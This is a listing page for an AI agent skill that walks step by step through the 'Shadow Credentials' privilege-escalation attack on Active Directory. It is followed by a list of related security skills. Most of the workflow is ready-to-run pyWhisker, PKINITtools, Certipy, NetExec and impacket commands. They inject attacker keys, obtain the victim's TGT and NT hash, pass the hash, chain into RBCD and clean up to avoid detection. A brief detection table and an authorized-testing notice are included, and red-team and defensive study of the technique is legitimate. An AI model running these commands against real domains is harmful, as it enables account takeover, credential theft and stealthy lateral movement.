Communitygithub.com

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

Qu'est-ce que abusing-shadow-credentials-for-privesc ?

abusing-shadow-credentials-for-privesc is a Claude Code agent skill that take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Abusing Shadow Credentials for Privilege Escalation

Legal Notice: This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.

Overview

The Shadow Credentials technique abuses the msDS-KeyCredentialLink attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's msDS-KeyCredentialLink — typically granted by GenericWrite, GenericAll, WriteProperty, or AddKeyCredentialLink ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover without resetting the password, which is far stealthier than a forced password reset.

The technique was published by Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") and implemented in the C# tool Whisker. The Python equivalent pyWhisker (ShutdownRepo) manipulates the attribute over LDAP, and Certipy integrates the entire chain via certipy shadow auto. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

When to Use

  • When BloodHound reveals GenericWrite/GenericAll/AddKeyCredentialLink over a higher-value user or computer
  • As a stealthier alternative to ForceChangePassword (no password reset = less disruption/alerting)
  • To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
  • During red-team operations needing account takeover without locking out the legitimate user
  • For purple-team exercises generating msDS-KeyCredentialLink modification telemetry

Prerequisites

  • Authorized engagement scope including AD credential-access techniques
  • Control of a principal with write access to the target's msDS-KeyCredentialLink
  • A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
  • Network reachability to LDAP (389/636) and Kerberos (88) on a DC
  • Linux attack host with Python 3.8+; install the tooling:
    # pyWhisker (from source)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (integrated shadow attack)
    pipx install certipy-ad
    # PKINITtools for manual TGT/NT-hash extraction
    git clone https://github.com/dirkjanm/PKINITtools
    

Objectives

  • Confirm write access over a target's msDS-KeyCredentialLink
  • Generate a key pair and append a Key Credential to the target object
  • Request a TGT for the target via PKINIT using the new key
  • Recover the target's NT hash for pass-the-hash / further movement
  • Clean up the injected Key Credential to restore the object's state
  • Document the ACL path that enabled the attack for remediation

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1098.005Account Manipulation: Device RegistrationWriting an attacker-controlled Key Credential (device key) to msDS-KeyCredentialLink to register an alternate authentication credential for the target account

Workflow

Step 1: Confirm the write primitive

List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the add step.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

Step 2: Add a Shadow Credential with pyWhisker

Generate a certificate/key pair and write it into the target's msDS-KeyCredentialLink. pyWhisker outputs a PFX you control.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password

Use Kerberos auth instead of a password if you only hold a ticket:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Step 3: Request a TGT via PKINIT

Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

Step 4: Recover the NT hash

Extract the target's NT hash from the AS-REP using the session key from Step 3 (getnthash.py reads the AS-REP encryption key, displayed by gettgtpkinit.py).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'

Step 5: One-shot alternative with Certipy

Certipy's shadow auto performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Step 6: Use the recovered credential

Authenticate with the NT hash (or the TGT) to continue the engagement.

# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

Step 7: Chain computer takeover into RBCD (optional)

When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.

# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

Step 8: Clean up

Remove the injected Key Credential to restore the object and reduce detection footprint.

# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

Tools and Resources

ResourcePurposeLink
pyWhiskerPython LDAP manipulation of msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
WhiskerOriginal C# implementationhttps://github.com/eladshamir/Whisker
Certipyshadow auto end-to-end takeoverhttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker RecipesTechnique walkthrough & defenseshttps://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Detection and Remediation Notes

AreaGuidance
DetectionMonitor Windows Security Event ID 5136 (directory object modified) for changes to msDS-KeyCredentialLink; alert when a non-AD-Connect/non-Intune principal writes the attribute.
AuditingEnable directory service object change auditing on user/computer OUs.
Least privilegeRemove unnecessary GenericWrite/GenericAll/AddKeyCredentialLink ACEs (BloodHound AddKeyCredentialLink edge).
MitigationWhere Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts.

Validation Criteria

  • Write access over the target's msDS-KeyCredentialLink confirmed (list succeeded)
  • Key Credential successfully added (PFX generated)
  • PKINIT TGT obtained for the target account
  • Target NT hash recovered and validated against a service
  • (If computer) RBCD chain or onward movement demonstrated
  • Injected Key Credential removed / object restored
  • Enabling ACL path documented with remediation recommendation

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Skills associés